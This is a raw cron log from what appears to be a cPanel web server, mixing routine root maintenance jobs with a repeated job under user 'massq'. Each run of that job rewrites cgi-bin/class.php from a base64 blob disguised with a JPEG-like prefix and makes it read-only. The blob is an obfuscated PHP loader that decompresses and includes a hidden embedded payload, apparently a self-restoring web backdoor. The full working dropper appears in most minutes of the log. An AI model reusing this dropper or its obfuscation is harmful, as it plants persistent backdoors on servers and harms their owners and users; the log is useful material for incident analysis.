Aug 31 14:14:01 server CROND[6324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:14:01 server CROND[6325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:14:01 server CROND[6326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:15:01 server CROND[6816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:15:01 server CROND[6817]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:15:01 server CROND[6818]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 14:15:01 server CROND[6821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:15:01 server CROND[6823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:15:01 server CROND[6822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:15:01 server CROND[6824]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 14:15:01 server CROND[6825]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 14:15:01 server CROND[6826]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 14:16:01 server CROND[7736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:16:01 server CROND[7737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:16:01 server CROND[7738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:17:01 server CROND[8138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:17:01 server CROND[8140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:17:01 server CROND[8141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:18:01 server CROND[8525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:18:01 server CROND[8526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:18:01 server CROND[8527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:19:01 server CROND[8921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:19:01 server CROND[8922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:19:01 server CROND[8923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:20:01 server CROND[9413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:20:01 server CROND[9415]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 14:20:01 server CROND[9416]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:20:01 server CROND[9421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:20:01 server CROND[9422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 14:20:01 server CROND[9427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:20:01 server CROND[9423]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 14:20:01 server CROND[9424]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 14:20:01 server CROND[9425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:21:01 server CROND[10454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:21:01 server CROND[10455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:21:01 server CROND[10456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:22:01 server CROND[10854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:22:01 server CROND[10855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:22:01 server CROND[10856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:23:01 server CROND[11245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:23:01 server CROND[11246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:23:01 server CROND[11247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:24:01 server CROND[11693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:24:01 server CROND[11694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:24:01 server CROND[11695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:25:01 server CROND[12174]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 14:25:01 server CROND[12178]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:25:01 server CROND[12183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:25:01 server CROND[12184]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 14:25:01 server CROND[12186]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
